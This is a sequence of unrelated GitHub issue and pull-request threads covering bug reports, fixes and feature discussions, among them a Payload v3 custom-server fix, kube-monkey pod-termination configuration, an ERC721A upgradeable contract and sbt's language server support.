Race condition in !urban

need to make sure the first message is sent before we send the second
@nickl93 :^)

plz close :^)

Will close once #211 is pushed :^)

Fixed in 3227dce958aa1eaf1ac2bdb83f83efca8422a0ed, closing


refactor: set instead of map for mergeGateways

What type of PR is this?

What this PR does / why we need it:
Which issue(s) this PR fixes:

k8s.io/apimachinery/pkg/util/sets
set[T] instead of map[T]bool for mergeGateways

Fixes #2796

/retest


Mainline doesn't build

make all fails with error (-Werror)
cc -pedantic -Wall -Werror -Wimplicit -Wunused -Wcomment -Wchar-subscripts -Wuninitialized -Wshadow -Wcast-qual -Wcast-align -Wwrite-strings -Wstack-protector -fPIC -std=c99 -D_POSIX_C_SOURCE=200112L -fstack-protector-all -O2 -I../libcrypto-root/include/ -I../api/ -I../ -Wno-deprecated-declarations -Wno-unknown-pragmas -Wformat-security -D_FORTIFY_SOURCE=2   -c -o s2n_server_extensions.o s2n_server_extensions.c
cc1: warnings being treated as errors
s2n_server_extensions.c: In function ‘s2n_server_recv_alpn’:
s2n_server_extensions.c:116: warning: comparison is always false due to limited range of data type

Compiler is valid as uint8_t is compared with size_t:
if (protocol_len > sizeof(conn->application_protocol) - 1) {

My system and compiler are pretty outdated. So feel free to close if that's not an issue with modern gcc.
$ uname -sp
Linux x86_64
$ gcc --version
gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-54)
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

With the following definition of char application_protocol[256]; at tls/s2n_connection.h:130 sizeof(conn->application_protocol) - 1 evaluates to 255 and protocol_len > 255 is always false. So the check is pointless with the current version of code. However it still seems useful if definition of application_protocol ever changes.

This does not reproduce on gcc 4.6 as it supports -Wtype-limits warning category disabled by default which can not be disabled on gcc 4.1.2 .
Also s2n doesn't make use of -Wextra warnings.

This should now be fixed as of 5479e97

Although removed check is a noop with the current code. It is useful for two reasons:

reader doesn't have to worry whether protocol_len has correct range or check is missed by mistake
it guards against future changes of application_protocol[]

The if check was correct, warning was wrong.


Too Much Documentation

Right now there is too much content on the site, and much of it is very detailed.  This optimizes for experts, but we need to optimize for new users/people who are evaluating various header bidding solutions.
We have too many examples, too much code, too many features you could maybe use, but maybe won't. (I'm strictly referring to the documentation, not the library.)
Experts can just read the source code, and they probably already know how to set up keyword targeting in DFP.
Pubfood might be a bit too light on content, but we should learn from their layout and move in that direction with our site's content.
It may be useful to look at our GA account as part of this culling work.  Although with so many long pages, GA may not prove that useful, since (IIUC) it will show "pageviews" but not which part of the page people are actually reading.

There isn't necessarily too much content, it just isn't organized well. That's a project in progress.


USB stick, moving between machines, dbus daemon failure

I have chroots and bin on a USB stick. It works well on an Acer Chromebox. When I unmount-chroot and stick it in my old HP11 chromebook, then startxfce, I get "dbus daemon failed with code 126". The chroot should be hardware-independent, yes? Thanks.

Provided it's the same architecture, yes. Please reopen if this happens again.


Upstream merge request.

New BungeeCord commits!

Hmm, I'd actually started working on this and got distracted - thanks for the reminder :p


Made Upgradeable version

Made an upgradeable version of ERC721A
Also added hardhat files, so the contract can easily be built and deployed.
Tests by @cygaar (https://github.com/cygaar/ERC721A/tree/version2)

dude, you have your private key in .env-example...

That's not my private key; that's the publicly known private key that hardhat uses for tests

Thanks for putting this together - as you know we've been working on shaping the repo, which will be done in the next couple days. Will review this PR soon

I also made a version of the upgradeable contract that extends OpenZeppelin's ERC721Upgradeable. I needed ERC721A to have the legacy _mint function for the project I'm working on (Xenum) and that seemed to be the simplest way.
Wasn't sure if that's something you want in this repo or not. Should I merge that change into this PR too?

@MrMcGoats I was looking at this too. Can you name it ERC721AUpgradable.sol and put it in the same place maybe?

Can you add the legacy _mint function in a separate PR? I'd like to keep different features in different PRs so we can do a better job reviewing each one

Oh, sure. Sorry, thought @AndreiD was asking me to merge it into here. I'll revert those merges.
I'll add it to the non-upgradeable version too and submit a new PR

Why is this taking so long to merge

The deploy-upgradeable script won't work as-is. The ERC721AUpgradeable contract is intended to be extended, so it isn't actually initializable  itself.
I can add a base contract that does nothing other than have in initilizer function, I guess, but not sure if that's something that would be useful.

The deploy-upgradeable script won't work as-is. The ERC721AUpgradeable contract is intended to be extended, so it isn't actually initializable itself.
I can add a base contract that does nothing other than have in initilizer function, I guess, but not sure if that's something that would be useful.

I would find it useful. I made the mistake yesterday of deploying a ERC721A contract directly and was confused why I was missing a mint function. 😅
Quick question, does it generally cost more gas upfront to deploy the upgradeable version?

My assumption is that it does cost more gas, but I have not tested. I'll test it tomorrow and report back

What is the status of this? Need any help?

Just waiting to be merged at this point

@cygaar, could we get some feedback to help get this merged? we appreciate you 🙏

Thank you for your submission.
We have a transpiler based implementation in the works.
https://github.com/Vectorized/ERC721A-Transpiler
https://github.com/Vectorized/ERC721A-Upgradeable
We will credit you on Twitter for the next release.


Cannot use local API with payload v3 on next.js custom server

Link to reproduction
https://github.com/ikenox/payload-3.0-demo/pull/1/commits/aa8f8634267a808928d1ad2a1272b3a81b563012
Payload Version
beta.55
Node Version
20.13.1
Next.js Version
15.0.0-rc.0
Describe the Bug
I’m considering migrating from an existing payload v2 project to v3. Then I need to keep running the server based on express.js.
So for now, based on the payload-3.0-demo repository, I tried to create a minimal example server with express.js + payload v3 (+ next.js custom server) .
https://github.com/ikenox/payload-3.0-demo/pull/1/commits/aa8f8634267a808928d1ad2a1272b3a81b563012
But an error occurs when I access to admin panel http://localhost:3000/admin or custom endpoint http://localhost:3000/users:
Error: Invariant: AsyncLocalStorage accessed in runtime where it is not available

I confirmed that using only local API with ts-node works well.
The error seems to cause by a combination of next.js custom server + payload local API + ts-node.
And the error occurs when load payload config by importConfig function.
This might be a blocker for expressjs-based monolithic v2 project that tries to migrate to v3.
Reproduction Steps
I created minimal example server.
https://github.com/ikenox/payload-3.0-demo/pull/1/commits/aa8f8634267a808928d1ad2a1272b3a81b563012
On this branch,

Start the server by pnpm dev:ts-node
access to http://localhost:3000/admin
The following error occurs

Error: Invariant: AsyncLocalStorage accessed in runtime where it is not available

Adapters and Plugins
No response

This seems to be a bug caused by inserting the nextHandler too quickly. nextjs injects AsyncLocalStorage into globalThis when it's ready, and I think it's caused by using the nextHandler before nextjs is ready.
Similar to custom-server example in nextjs, replacing main.ts like below will fix it.
import next from 'next'
import express from 'express'
import { importConfig } from 'payload/node'

import { getPayload } from 'payload'

const expressApp = express()

async function main() {
  const nextApp = next({
    dev: process.env.NODE_ENV !== 'production',
  })
  const nextHandler = nextApp.getRequestHandler()

  const config = await importConfig('../payload.config.ts')
  const payload = await getPayload({ config })
  expressApp.get('/users', (req, res) => {
    payload
      .find({ collection: 'users' })
      .then(({ docs }) => res.json(docs))
      .catch(next)
  })

  nextApp.prepare().then(() => {
    console.log('Next.js started')
    expressApp.use((req, res) => nextHandler(req, res))
    expressApp.listen(3000, () => {
      console.log(globalThis.AsyncLocalStorage)
      console.log('listen on port 3000')
    })
  })
}

void main()

@SimYunSup
Thank you for the advice!
Just moving nextHandler after nextApp.prepare() gave the same error.
https://github.com/ikenox/payload-3.0-demo/pull/1/commits/a482e0abb9906a50a8596f8322d74865f0447108
By loading payload config after nextApp.prepare(), I managed to show the admin panel.
https://github.com/ikenox/payload-3.0-demo/pull/1/commits/bd47e01159bb7a8a2e1290ddeee690ee3f963d27
But I got different errors when visiting admin panel.
Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:
1. You might have mismatching versions of React and the renderer (such as React DOM)
2. You might be breaking the Rules of Hooks
3. You might have more than one copy of React in the same app

 ⨯ TypeError: Cannot read properties of null (reading 'useContext')
    at AsyncLocalStorage.run (node:async_hooks:346:14)
    at stringify (<anonymous>)
    at stringify (<anonymous>)

 ⨯ TypeError: Cannot read properties of null (reading 'useState')
    at AsyncLocalStorage.run (node:async_hooks:346:14)
    at stringify (<anonymous>)

Oh, sorry. I uploaded previous version code. importConfig and getPayload code must be in then block in nextApp.prepare. Because importConfig call loader and loader calls next/navigation. So This will work on your machine too.
import next from 'next'
import express from 'express'
import { importConfig } from 'payload/node'

import { getPayload } from 'payload'

const expressApp = express()

async function main() {
  const nextApp = next({
    dev: process.env.NODE_ENV !== 'production',
  })
  const nextHandler = nextApp.getRequestHandler()

  nextApp.prepare().then(async () => {
    const config = await importConfig('../payload.config.ts')
    const payload = await getPayload({ config })
    expressApp.get('/users', async (req, res) => {
      await payload
        .find({ collection: 'users' })
        .then(({ docs }) => res.json(docs))
        .catch(next)
    })
    console.log('Next.js started')
    expressApp.use((req, res) => nextHandler(req, res))
    expressApp.listen(3000, () => {
      console.log('listen on port 3000')
    })
  })
}

void main()

@SimYunSup
Thanks!

importConfig and getPayload code must be in then block in nextApp.prepare

Yes, actually I can start the server by your code.
https://github.com/ikenox/payload-3.0-demo/pull/1/commits/ea3bad8ab873af67bd34ba2d13e0e31998c6740c
But something seems not to work well. As I mentioned in this my comment, some errors are occurred instead.
For example, I got the following error when I visit http://localhost:3000/admin/collections/pages :

If I stop to use local API, this error is resolved. (https://github.com/ikenox/payload-3.0-demo/pull/1/commits/8e1da7406c7ea2d0acda0d2885ea482366174151)

Hey @ikenox — is this still happening if you update to the most recent version of Payload beta packages and Next.js canary?
One thing, we're working on compartmentalizing client-side JS from the Payload config which will probably resolve your new useState issue. I bet this is all related.
But we will keep this issue open regardless until we can come up with a custom server example that works with the Local API.

Hi @jmikrut, thanks for looking into this issue!

is this still happening if you update to the most recent version of Payload beta packages and Next.js canary?

Yes, I upgraded payload and next.js but the problem that is mentioned in my this comment still remains.
https://github.com/ikenox/payload-3.0-demo/pull/1/commits/b02acc3c6d94af5bb2fc8343162eb77cef82eba9

This should no longer be an issue.
I've added a custom server example directory: https://github.com/payloadcms/payload/tree/main/examples/custom-server

@denolfe
The custom server example helps me a lot. Thanks!


ocamlPackages.uunf: 12.0.0 -> 13.0.0

Motivation for this change
Checked AArch64, but still doesn't work.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

@GrahamcOfBorg build ocamlPackages.uunf

Please raise the required version of OCaml to 4.03

Thanks, fixed!

@GrahamcOfBorg build ocamlPackages.phylogenetics ocamlPackages.crowbar jackline ocamlformat


Variable Importance with co-occurence computation does not work

The last line of the xgb.importance example gives no output:
data(agaricus.train, package='xgboost')

# Both dataset are list with two items, a sparse matrix and labels
# (labels = outcome column which will be learned).
# Each column of the sparse Matrix is a feature in one hot encoding format.
train <- agaricus.train

bst <- xgboost(data = train$data, label = train$label, max.depth = 2,
               eta = 1, nthread = 2, nround = 2,objective = "binary:logistic")

# train$data@Dimnames[[2]] represents the column names of the sparse matrix.
xgb.importance(train$data@Dimnames[[2]], model = bst)

# Same thing with co-occurence computation this time
xgb.importance(train$data@Dimnames[[2]], model = bst, data = train$data, label = train$label)

> sessionInfo()
R version 3.2.4 Revised (2016-03-16 r70336)
Platform: x86_64-apple-darwin15.4.0 (64-bit)
Running under: OS X 10.11.4 (El Capitan)

locale:
[1] en_US.UTF-8/en_US.UTF-8/en_US.UTF-8/C/en_US.UTF-8/en_US.UTF-8

attached base packages:
[1] stats     graphics  grDevices utils     datasets  methods   base

other attached packages:
[1] xgboost_0.4-3    ggplot2_2.1.0    data.table_1.9.7

loaded via a namespace (and not attached):
 [1] scales_0.4.0     colorspace_1.2-6 magrittr_1.5     Matrix_1.2-4     plyr_<IP_ADDRESS>00  tools_3.2.4      gtable_0.2.0     Rcpp_0.12.4      stringi_1.0-1    grid_3.2.4
[11] stringr_1.0.0    munsell_0.4.3    lattice_0.20-33

It seems to be another case of breaking the common assumptions about sparse data values #1112 #899 . In addition, there seems to be an R bug in how a matrix is compared to vector. Will need to take a closer look at it later...
Besides, the real value of the extended table was in that it allowed to inspect the gains of individual splits for continuous features. You can still calculate it on your own as, e.g.,
xgb.model.dt.tree(colnames(train$data), bst)[Feature!="Leaf"][, .(Gain=sum(Quality)), .(Feature, Split)][order(Feature, Split)]
But all the "co-occurrence computation" stuff, frankly, I find unnecessary and confusing. Partial dependency plots are much better way to see relations b/w predictors and outcome.

I agree with @khotilov , I added this code long time ago because I needed it at that time and thought may be other persons may use it. Now I think it s too specific and partial dependency plots would be better.
However, i never had the time to implement partial dependency plots the way it s explained by Friedman (his implementation should be more efficient that general one because it leverages the tree model).

@pommedeterresautee : I don't know if that would be the same as Friedman's idea, but I was thinking about how permutation-based importance calculations could be made faster, and one of the key elements, I think, would be to take advantage of the fact that most features (when there are many) would appear only in a fraction of boosted trees. Same principle should be applicable to on-grid calculations for partial deps as well. That would need to be implemented in C++ to be truly useful though. I'm still thinking about the best way to do it.


Use a size limit for conversation?

Context: forever growing chat conversation
Problem: too large history can cause model misbehavior problems
As a temporary solution, waiting for models to better handle long conversations (like auto-synthesis/compression), one could set a hard limit for conversation. Ie the model will only have access to the last N messages in the chat history.

How can we count and store the number of message in chat history on Tchapbot'side? Does the API send back some stream number for a given chat?

we do not count, but the history size could be fetched from an API request.

I think we should introduce a "forget factor" that depends on distance between the last user message and the current one that will determine the size of the historize size, given that we should have an upper limit (that ideally depends on the max_tokens of the model), and size zero when the distance is greater than X hours. I am going to propose PR about it.

We do not count, but the history size could be fetched from an API request.
That works. Makes another request though. Could we send back the stream number as a response in the existing request instead? Or does that makes the API even further away from OpenAI standards?

I think we should introduce a "forget factor" that depends on the duration between the last user message and the current one that will determine the size of the history, given that we should have an upper limit (that will ideally depends on the max_tokens of the model), and with zero size when the distance is greater than X hours. I am going to propose PR about it.

You mean, time-based. Yes, that's a good idea. It does not always solve the issue of size being too big though, if the user chats a lot and quickly within the time frame, is it?

We do not count, but the history size could be fetched from an API request.

That works. It makes another request though. Could we send back the stream number as a response in the existing request instead? Or does that makes the API even further away from OpenAI standards?

What do you mean "stream number" ?

You mean, time-based. Yes, that's a good idea. It does not always solve the issue of size being too big though, if the user chats a lot and quickly within the time frame, is it?

That is why I say a thing about an "upper limit". The maximum size of the history the model can handle. It depends of the context window, though the model in used.

What do you mean "stream number" ?
The stream count in the chat, in the case when the limit would be based on the number of streams.

What do you mean "stream number" ?

The stream count in the chat, in the case where the limit would be based on the number of streams.

Yes, we could pass an history size limit as a parameter (and fix a hard limit by default as well)

That's why I call it an "upper limit". This is the maximum history size that the model can handle. It depends on the context window, i.e. the model used.

Nee to chat about that to be sure I understand, but anyway the idea of forgetting / resetting a new chat after some time is good in terms of UX.

Changing this priority to priority 1, as our data scientists recommended to have a shorter history for llama-3 based models and that it would explain some currently bad results.

@dtrckd The timer rest feature has been done :
https://github.com/etalab-ia/albert-tchapbot/commit/f4fb701358017f7dd81d736bc5cd34d2d4f375ee
https://github.com/etalab-ia/albert-tchapbot/commit/8071ea8e17a08a2d7da25131806b696f630d37e2

A max_rewind settings has been add to cap the history size of the conversation.
Done in v0.2


Unable to convert and start file presentation

Environment:
SDK Version: 3.7.0 https://github.com/DolbyIO/comms-sdk-flutter/tree/release/3.7.0
Client Platform: Flutter test app.
Description/Steps-to-reproduce:

Install the QA test app
Join a conference
Go to options
Try to convert and start file presentation

Expected result:
File presentation works
Actual result:
After choose file to convert nothing happens. Unable to start presenting file.
Devices:
Any iOS or Android device

What type of file was tested in this test scenario (pdf, doc)?
'Unable to start presenting file.' it means that app shows alert with error while trying to start file presentation after converting?

When I try to convert file (pdf and doc) I get two messages:
First:
"File presentation event: fileConverted
On Event Change"
Second:
"Success
OK"
Then I click "Start" button and I get also two messages:
First:
"File presentation event: filePresentationStarted
On Event Change"
Second:
"Success
OK"
I expect that the file should be visible but no one can see it

Ok, I see. We don't have UI for the file presentation yet, that's why you cannot see it. It should be added in the future


Fixed bug in the TBCEditorLines.SetTextStr & file loading speed, max memory enhancement

BCEditor.Editor.Base_BCEditor.Lines.zip

There seems to be a bug. Last line is not loaded.

There was a small bug in the SetTextStr. Notice that I have fixed TStrings GetTextStr and it does not add extra line feed at the end of the text. Loading speed did not improve much but otherwise good good...


Fix EarlGreyTest.podspec

@googlebot I signed it!
On 24 Nov 2019, 19:16 +0100, google/EarlGrey<EMAIL_ADDRESS>wrote:

@googlebot I signed it!

Thanks a lot!


Does anyone have the AAR file?

jcenter is not available and my project stopped compiling

Solved using Jitpack.io
implementation "com.github.msasikanth:colorsheet:1.0.1"

closed


Add link to website source code

Closes #392
(if everything is ok, then I will add to #459 with small fixes)

Too simple for important feature which people will look for.
Maybe we can use Badge design there with GitHub icon?

todo:
dark theme

There is no padding above the page title and logo
You can do dark theme by inverting the icon (as we did in Badge)
We need a hover effect like we have for Link. But I suggest using Badge since it will be more visible


Doubt regarding Social Media icons.

Hi,
I Tried hosting the Hugo site with this template on Netlify. While everything works fine, some fonts and the social media icons appear as blue boxes. On inspecting there is a network error while fetching the same. Is there something that I am missing. It's similar to how the theme appears in this example from the Hugo website.

Thanks in advance.

me too

So apparently I had not set any parameter for baseURL in config.toml and therefore when Hugo generates the build it sees that there is now value for baseURl. This won't be a problem while using hugo server but when hosting via Netlify the URL for accessing all the fonts and icons in the main css inside the css folder will be of something of the format fonts/NunitoSans/NunitoSans-Regular.ttf . It might seem correct but what the URL is trying to access the respective font inside the fonts folder which is inside the css folder "css > fonts".
But in actuality, the fonts folder is in the root folder.
So either give an empty URL like baseURl = "/" or the URL of the netlify. Don't Leave the baseURL param empty.


using ES5 bind for double argument comparator causes Phantom.js to fail

Just ran across this one, and thought I'd share in case others are searching.  Could be easily fixable, but I could understand why it wouldn't be.
On this line the native .bind is being used to bind the comparator to this.  This only happens on a multi-argument comparators: comparator : function(a, b){}.
This causes phantom js (using ~1.9.7-1) to fail unfortunately.  While that's not really ampersand's concern, this could be modified to use lodash .bind or amp .bind.  This seems to be the approach in ampersand-state where underscore.bind is used.
I'd be happy to submit a PR to fix, using amp .bind if desired.
We were able to fix by loading es5.shim in phantom for those who run into similar issue.

I ran into the same issue the other day - you just need a polyfill for Function.prototype.bind, because phantomjs 1.9.x doesn't define it. I've been including this package: https://www.npmjs.com/package/bindpolyfill

This is fixed in v1.4.1


No terminations scheduled issue

Hi, I have been some days trying to use kube-monkey in order to kill pods of a namespace but all the tries are not being succesfull. Every time I try a configuration, I receive the next message :
********** Today's schedule **********
No terminations scheduled
********** End of schedule *********
I don't understand what is happening, those are my configuration files:
deployment.yml:
  apiVersion: extensions/v1beta1
  kind: Deployment
  metadata:
    name: kube-monkey
    namespace: kube-system
  spec:
    replicas: 1
    template:
      metadata:
        labels:
          kube-monkey/enabled: enabled
          kube-monkey/identifier: ignite-10
          kube-monkey/mtbf: '2'
          kube-monkey/kill-mode: "fixed"
          kube-monkey/kill-value: "1"
      spec:
        containers:
          -  name: kube-monkey
             command:
               - "/kube-monkey"
             args: ["-v=5", "-log_dir=/var/log/kube-monkey"]
             image: ayushsobti/kube-monkey:v0.2.3
             volumeMounts:
               - name: config-volume
                 mountPath: "/etc/kube-monkey"
        volumes:
          - name: config-volume
            configMap:
              name: kube-monkey-config-map

And configmap.yaml:
  apiVersion: v1
  kind: ConfigMap
  metadata:
    name: kube-monkey-config-map
    namespace: kube-system
  data:
    config.toml: |
      [kubemonkey]
      run_hour = 11
      start_hour = 12
      end_hour = 13
      blacklisted_namespaces = ["kube-system"]
      whitelisted_namespaces = [] # I have tried using "ignite" here, which is the namespace that I want to for kill pods
      time_zone="Europe/Madrid"

Those are the pods that I have in the ignite namespace:

This is the kube-system namespace:

This is the log of the kube-monkey:

Please, could anyone help me?

Hi @dcuestam,
Can you please post an example of a k8s app configuration you are using? Do you have any/correct labels set?
From what you posted, I believe you may be setting the labels on the kube-monkey deployment instead of on the k8s apps you want to enlist in the chaos.
Also adding labels to the kube-monkey deployment should enlist it for chaos (not sure about that, haven't tested). While that may sound reasonable, kube-monkey won't properly support its own termination as it will loose the current schedule (as it is only stored in memory I think).
PS: Would be nice if you could correct the formatting of the posted yaml files to make it easier to read.

Hi @gzlatkov,
thank you for your help,
This is the configuration of some nodes of the ignite deployment:

This is the YAML:
{
"kind": "Pod",
"apiVersion": "v1",
"metadata": {
"name": "ignite-3",
"generateName": "ignite-",
"namespace": "ignite",
"selfLink": "/api/v1/namespaces/ignite/pods/ignite-3",
"uid": "791e8124-8054-11e8-ad90-08002774c8d1",
"resourceVersion": "69136",
"creationTimestamp": "2018-07-05T13:08:13Z",
"labels": {
"app": "ignite",
"controller-revision-hash": "ignite-76d6d75c47",
"kube-monkey/enabled": "enabled",
"kube-monkey/identifier": "monkey-victim-pods",
"statefulset.kubernetes.io/pod-name": "ignite-3"
},
"ownerReferences": [
{
"apiVersion": "apps/v1",
"kind": "StatefulSet",
"name": "ignite",
"uid": "9333afc8-8053-11e8-ad90-08002774c8d1",
"controller": true,
"blockOwnerDeletion": true
}
]
},
"spec": {
"volumes": [
{
"name": "ignite-storage",
"persistentVolumeClaim": {
"claimName": "ignite-storage-ignite-3"
}
},
{
"name": "ignite-token-9dfbk",
"secret": {
"secretName": "ignite-token-9dfbk",
"defaultMode": 420
}
}
],
"containers": [
{
"name": "ignite",
"image": "apacheignite/ignite:2.5.0",
"ports": [
{
"containerPort": 11211,
"protocol": "TCP"
},
{
"containerPort": 47100,
"protocol": "TCP"
},
{
"containerPort": 47500,
"protocol": "TCP"
},
{
"containerPort": 49112,
"protocol": "TCP"
},
{
"containerPort": 10800,
"protocol": "TCP"
},
{
"containerPort": 8080,
"protocol": "TCP"
},
{
"containerPort": 10900,
"protocol": "TCP"
}
],
"env": [
{
"name": "OPTION_LIBS",
"value": "ignite-kubernetes,ignite-rest-http"
},
{
"name": "CONFIG_URI",
"value": "https://raw.githubusercontent.com/apache/ignite/master/modules/kubernetes/config/example-kube-persistence.xml"
},
{
"name": "IGNITE_QUIET",
"value": "false"
},
{
"name": "JVM_OPTS",
"value": "-Djava.net.preferIPv4Stack=true"
}
],
"resources": {},
"volumeMounts": [
{
"name": "ignite-storage",
"mountPath": "/data/ignite"
},
{
"name": "ignite-token-9dfbk",
"readOnly": true,
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount"
}
],
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"imagePullPolicy": "IfNotPresent"
}
],
"restartPolicy": "Always",
"terminationGracePeriodSeconds": 30,
"dnsPolicy": "ClusterFirst",
"serviceAccountName": "ignite",
"serviceAccount": "ignite",
"nodeName": "minikube",
"securityContext": {},
"hostname": "ignite-3",
"subdomain": "ignite",
"schedulerName": "default-scheduler",
"tolerations": [
{
"key": "node.kubernetes.io/not-ready",
"operator": "Exists",
"effect": "NoExecute",
"tolerationSeconds": 300
},
{
"key": "node.kubernetes.io/unreachable",
"operator": "Exists",
"effect": "NoExecute",
"tolerationSeconds": 300
}
]
},
"status": {
"phase": "Running",
"conditions": [
{
"type": "Initialized",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2018-07-05T13:08:14Z"
},
{
"type": "Ready",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2018-07-09T06:50:26Z"
},
{
"type": "PodScheduled",
"status": "True",
"lastProbeTime": null,
"lastTransitionTime": "2018-07-05T13:08:14Z"
}
],
"hostIP": "<IP_ADDRESS>",
"podIP": "<IP_ADDRESS>",
"startTime": "2018-07-05T13:08:14Z",
"containerStatuses": [
{
"name": "ignite",
"state": {
"running": {
"startedAt": "2018-07-09T06:50:26Z"
}
},
"lastState": {
"terminated": {
"exitCode": 0,
"reason": "Completed",
"startedAt": "2018-07-09T06:48:49Z",
"finishedAt": "2018-07-09T06:48:56Z",
"containerID": "docker://080251f95ba5dc2ebf738ef76f03d7ac8e6a237ba22765caee4e6983b0e5da71"
}
},
"ready": true,
"restartCount": 22,
"image": "apacheignite/ignite:2.5.0",
"imageID": "docker-pullable://apacheignite/ignite@sha256:5110253ae8d3f86b906bc52b5341309162c89818ff1309f5ced24c6d545ec167",
"containerID": "docker://ab6a4846350fe73b174160d08279763d77425afc103a0a43a5e348fed95e28f3"
}
],
"qosClass": "BestEffort"
}
}
For the ignite pods, I have used a serviceAccount:
apiVersion: v1
kind: ServiceAccount
metadata:
name: ignite
namespace: ignite
An ClusterRole:
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRole
metadata:
name: ignite
namespace: ignite
rules:

apiGroups:

""
resources: # Here are resources you can access
pods
endpoints
verbs: # That is what you can do with them
get
list
watch
And a clusterRoleBinding:

kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
name: ignite
roleRef:
kind: ClusterRole
name: ignite
apiGroup: rbac.authorization.k8s.io
subjects:

kind: ServiceAccount
name: ignite
namespace: ignite

I think the problem could bi in the RBAC, so I have tried to use a SeviceAccount and bind it with the ClusterRole:
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
name: ignite-monkey
roleRef:
kind: ClusterRole
name: ignite
apiGroup: rbac.authorization.k8s.io
subjects:

kind: ServiceAccount
name: ignite-monkey
namespace: kube-system

but the apiversion extensions/v1beta1, doesn't support a servieAccountName spec:

apiVersion: extensions/v1beta1
kind: Deployment
metadata:
name: kube-monkey
namespace: kube-system
spec:
serviceAccountName: ignite-monkey
replicas: 1
template:
metadata:
labels:
kube-monkey/enabled: enabled
kube-monkey/identifier: ignite
kube-monkey/mtbf: '1'
kube-monkey/kill-mode: "fixed"
kube-monkey/kill-value: "1"
spec:
containers:
-  name: kube-monkey
command:
- "/kube-monkey"
args: ["-v=5", "-log_dir=/var/log/kube-monkey"]
image: ayushsobti/kube-monkey:v0.2.3
volumeMounts:
- name: config-volume
mountPath: "/etc/kube-monkey"
volumes:
- name: config-volume
configMap:
name: kube-monkey-config-map

I just fixed it adding the labels to the metadata of the StatefulSet too, and deleting the labels in the kube-monkey deployment.

Thanks for helping him out @gzlatkov

I also have this issue. I use helm tool to do the this.
"helm install my-release kubemonkey --set config.debug.enabled=true"
But it is also displayed "No terminations scheduled. "
I created 2 pods in the namespace of default.

but it is it killed.


Release of new major version 3.0.0

Main branch seems ready for new major release to support Spring-Boot 3. Hopefully anyone with needed rights is willing to release.

@jacobdotcosta : since all open PRs are merged right now, could you please start the 3.0.0 release?
Thx Benjamin

Working on it.

3.0.0 has been released


language server protocol (VS Code integration)

This is a work in progress branch to support Language Server Protocol (Visual Studio Code integration) on sbt server.
The initial goal is to invoke compile on save. The details are written up in this blog post http://eed3si9n.com/scala-language-server-using-sbt
Depends on:

[x] https://github.com/sbt/util/pull/128
[x] https://github.com/sbt/sbt/pull/3556
[x] https://github.com/sbt/zinc/pull/413
[x] https://github.com/eed3si9n/sjson-new/issues/83

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

Wow, nice! This might be enough motivation for me to finish upgrading dotty to sbt 1. I think it'd be very cool if JSON-RPC was the only protocol used to communicate with sbt server mode. We could define a build server protocol that complements the language server protocol.

I think it'd be very cool if JSON-RPC was the only protocol used to communicate with sbt server mode. We could define a build server protocol that complements the language server protocol.

I agree. While there's no clients or documentations yet, we should try to switch to JSON-RPC as the wire protocol if we can.

To validate this pull request against other sbt modules, please visit this link.

With a5f83e0, VS Code now talks to sbt server and invokes compile at the root level.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

To validate this pull request against other sbt modules, please visit this link.

Interesting. I did the same thing as an experiment, but I just used the sbt server protocol directly. Works pretty well.

I tried to run
sbt:sbtRoot> vscodePlugin/compile
Warning: Unknown Scalafmt version 1.2.0; using 1.0 interface
[warn] Credentials file /home/sschaef/.bintray/.credentials does not exist

><EMAIL_ADDRESS>compile /home/sschaef/dev/scala/sbt/vscode-sbt-scala
> tsc -p client/tsconfig.json && cd server && npm run installServer && cd .. && tsc -p server/tsconfig.json

client/node_modules/vscode-languageclient/lib/client.d.ts(1,749): error TS2307: Cannot find module 'vscode'.
client/node_modules/vscode-languageclient/lib/codeConverter.d.ts(1,23): error TS2307: Cannot find module 'vscode'.
client/node_modules/vscode-languageclient/lib/main.d.ts(5,28): error TS2307: Cannot find module 'vscode'.
client/node_modules/vscode-languageclient/lib/protocolCompletionItem.d.ts(1,23): error TS2307: Cannot find module 'vscode'.
client/node_modules/vscode-languageclient/lib/protocolConverter.d.ts(1,23): error TS2307: Cannot find module 'vscode'.
client/node_modules/vscode-languageclient/lib/workspaceFolders.proposed.d.ts(1,77): error TS2307: Cannot find module 'vscode'.
client/src/extension.ts(6,45): error TS2307: Cannot find module 'vscode'.

npm ERR! Linux 4.4.0-96-generic
npm ERR! argv "/usr/bin/node" "/usr/bin/npm" "run" "compile"
npm ERR! node v6.11.3
npm ERR! npm  v3.10.10
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>compile: `tsc -p client/tsconfig.json && cd server && npm run installServer && cd .. && tsc -p serv
er/tsconfig.json`
npm ERR! Exit status 2
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>compile script 'tsc -p client/tsconfig.json && cd server && npm run installServer &&
cd .. && tsc -p server/tsconfig.json'.
